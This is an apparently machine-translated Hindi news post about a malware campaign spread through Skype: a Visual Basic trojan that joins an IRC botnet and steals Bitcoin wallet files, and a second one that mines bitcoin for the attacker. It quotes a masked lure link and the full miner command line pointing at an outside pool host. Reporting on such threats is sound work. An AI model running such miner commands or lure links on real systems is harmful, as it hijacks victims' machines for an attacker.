नया स्काइप ट्रोजन बिटकॉइन दास में कंप्यूटर में बदल जाता है

कास्परस्की लैब के विशेषज्ञ दिमित्री बेस्टुशेव के ब्लॉग पर, कुछ दिनों पहले एक संदेश कंपनी ने स्काइप में एक नई ट्रोजन वितरित करने वाली एक विशाल कंपनी के बारे में बताया। प्रपत्र के लिंक का पालन करने की पेशकश करने वाले उपयोगकर्ताओं को संदेश भेजे जाते हैं:

www.goo.gl/XXXXX?image=IMG0540250-JPG

4 अप्रैल तक, इस पर क्लिक दर लगभग 3 क्लिक प्रति सेकंड थी, और क्लिक की कुल संख्या लगभग 170k थी!
पीड़ितों में से अधिकांश रूस और यूक्रेन से हैं:



चीन, इटली, बुल्गारिया और ताइवान के उपयोगकर्ता भी प्रभावित हैं।
ट्रोजन खुद विज़ुअल बेसिक में लिखा गया है और यूएसबी-ड्राइव के माध्यम से फैलने में भी सक्षम है। संक्रमण के बाद, पीड़ित का कंप्यूटर आईआरसी कमांड सर्वर के साथ संचार करने के लिए प्रोटोकॉल का उपयोग करके बोटनेट का हिस्सा बन जाता है।
इसके अलावा, ट्रोजन बिटकॉइन वॉलेट से वॉलेट.डैट चोरी करने के लिए लगता है:



अपने अगले पोस्ट में , दिमित्री ने एक समान कंपनी के बारे में बात की, लेकिन एक अलग तरह के ट्रोजन को वितरित किया। उपयोगकर्ता की मशीन पर एक बार, वह कमांड चलाता है:

bitcoin-miner.exe -a 60 -l no -o suppp.cantvenlinea.biz:1942/ -u XXXXXX0000001@gmail.com -p XXXXXXXX

इस प्रकार, अपने कंप्यूटर को एक हमलावर के लिए बिटकॉइन माइन करने के लिए मजबूर करना!
इसी समय, सीपीयू पर लोड काफी बढ़ जाता है:



हब्रायुज़र्स में से एक ने 2 साल पहले इसी तरह की कार्यक्षमता के साथ एक ट्रोजन के बारे में लिखा था, लेकिन अब, ऐसा लगता है, इंटरनेट दुर्भावनापूर्ण सॉफ़्टवेयर की एक नई लहर को स्वीप कर रहा है, एक तरीका या बिटकॉइन के साथ जुड़ा हुआ है, जिसके चारों ओर हाल ही में बहुत शोर हुआ है ।